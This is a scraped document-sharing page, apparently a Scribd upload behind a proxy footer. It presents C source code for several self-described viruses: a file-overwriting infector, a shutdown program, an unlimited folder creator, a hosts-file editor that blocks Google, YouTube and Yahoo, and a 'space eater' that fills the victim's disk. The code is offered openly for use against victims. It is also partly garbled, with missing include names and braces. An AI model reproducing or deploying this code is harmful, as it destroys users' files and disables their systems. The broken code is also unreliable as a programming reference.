0% found this document useful (0 votes)
142 views

Notepad Vbs Script

1) The document describes several C language viruses, including an infection virus that copies itself to all files in the current directory, a shutdown virus that shuts down the system when executed, and a folder creator virus that generates unlimited folders. 2) It provides the source code for each virus. 3) The last virus described is a "space eater" virus that writes random characters to files to consume disk space on the infected system.

Uploaded by

gur preet
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
142 views

Notepad Vbs Script

1) The document describes several C language viruses, including an infection virus that copies itself to all files in the current directory, a shutdown virus that shuts down the system when executed, and a folder creator virus that generates unlimited folders. 2) It provides the source code for each virus. 3) The last virus described is a "space eater" virus that writes random characters to files to consume disk space on the infected system.

Uploaded by

gur preet
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 12

Infection with intenal copy virus in c lang.

This virus when executed will infect all file on current directory of the computer on which it is run.

Source code of the virus

/* VIRUS BY GAURAV GUPTA*/

#include

#include

#include

#include

#include

void main(int argc,char* argv[])

{ char buf[512];

int source,target,byt,done;

struct ffblk ffblk;

clrscr();

textcolor(2);

done = findfirst("*.*",&ffblk,0);

while (!done)

{ cprintf(" %s ", ffblk.ff_name);

source=open(argv[0],O_RDONLY|O_BINARY);

target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONLY);

while(1)

{byt=read(source,buf,512);

if(byt>0)

write(target,buf,byt);

else

break;

close(source);

close(target);
done = findnext(&ffblk);

getch();

library used in above virus :-

stdio.h

dos.h

dir.h

fcntl.h

conio.h

Shutdown virus in c lang.

This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll shutdown the system.

Source code of the virus

#include

#include

void main(void)

system("shutdown -s");

_____________________________________________________________________

Unlimited folder creater virus in c lang.

This virus when executed will create unlimited folder in current path of the computer on which it is
run.
Source code of the virus

#include

#include

void main()

char s[14]="md "; int man,i,j,k,l,m,n,o,p,q,r;

for(man=1;man<=10;man++)

for(i=65;i<122;i++)

s[3]=i;

s[4]=0;

if(man==1)

system(s);

continue;

for(j=65;j<122;j++)

s[4]=j;

s[5]=0;

if(man==2)

system(s);

continue;

for(k=65;k<122;k++)

s[5]=k;
s[6]=0;

if(man==3)

system(s);

continue;

for(l=65;l<122;l++)

s[6]=l;

s[7]=0;

if(man==4)

system(s);

continue;

for(m=65;m<122;m++)

s[7]=m;

s[8]=0;

if(man==5)

system(s);

continue;

for(n=65;n<122;n++)

s[8]=n;

s[9]=0;

if(man==6)

system(s);
continue;

for(o=65;o<122;o++)

s[9]=o;

s[10]=0;

if(man==7)

system(s);

continue;

for(p=65;p<122;p++)

s[10]=p;

s[11]=0;

if(man==8)

system(s);

continue;

for(q=65;q<122;q++)

s[11]=q;

s[12]=0;

if(man==9)

system(s);

continue;

for(r=65;r<122;r++)

{
s[12]=r;

s[13]=0;

if(man==10)

system(s);

continue;

#include

#include

#include

char site_list[6][30]={

“google.com”,

“www.google.com”,

“youtube.com”,

“www.youtube.com”,

“yahoo.com”,

“www.yahoo.com”

};
char ip[12]=”127.0.0.1″;

FILE *target;

int find_root(void);

void block_site(void);

int find_root()

int done;

struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

else return 0;

void block_site()

int i;

fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);

for(i=0;i<6;i++)

fprintf(target,”%s\t%s\n”,ip,site_list[i]);

fclose(target);

void main()

int success=0;

success=find_root();

if(success)

block_site();

/* SPACE EATER VIRUS BY GAURAV GUPTA*/

#include

#include

#include
#include

FILE *a,*t,*b;

int r,status,vir_count;

double i;

char ch[]=" ",choice;

void eatspace(void);

void findroot(void);

void showstatus(void);

void draw(void);

void accept(void);

void main()

draw();

delline();

findroot();

void draw()

clrscr();

void findroot()

t=fopen("C:\\windows\\explorer.exe","rb");

if(t!=NULL)

fclose(t);
a=fopen("C:\\windows\\system32\\spceshot.dll","rb");

if(a!=NULL)

getch();

exit(1);

b=fopen("C:\\windows\\system32\\spceshot.dll","wb+");

if(b!=NULL)

eatspace();

t=fopen("D:\\windows\\explorer.exe","rb");

if(t!=NULL)

fclose(t);

a=fopen("D:\\windows\\system32\\spceshot.dll","rb");

if(a!=NULL)

getch();

exit(1);

b=fopen("D:\\windows\\system32\\spceshot.dll","wb+");

if(b!=NULL)

eatspace();

t=fopen("E:\\windows\\explorer.exe","rb");

if(t!=NULL)

{
fclose(t);

a=fopen("E:\\windows\\system32\\spceshot.dll","rb");

if(a!=NULL)

getch();

exit(1);

b=fopen("E:\\windows\\system32\\spceshot.dll","wb+");

if(b!=NULL)

eatspace();

t=fopen("F:\\windows\\explorer.exe","rb");

if(t!=NULL)

fclose(t);

a=fopen("F:\\windows\\system32\\spceshot.dll","rb");

if(a!=NULL)

getch();

exit(1);

b=fopen("F:\\windows\\system32\\spceshot.dll","wb+");

if(b!=NULL)

eatspace();

if(t==NULL)

{
getch();

exit(1);

exit(1);

void eatspace()

while(1)

for(r=1;r<4;r++)

for(i=1;i<900000;i++)

status=fputs(ch,b);

if(status==EOF)

vir_count=random(120);

draw();

break;

if(status==EOF) break;

if(status==EOF) break;

exit(0);

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy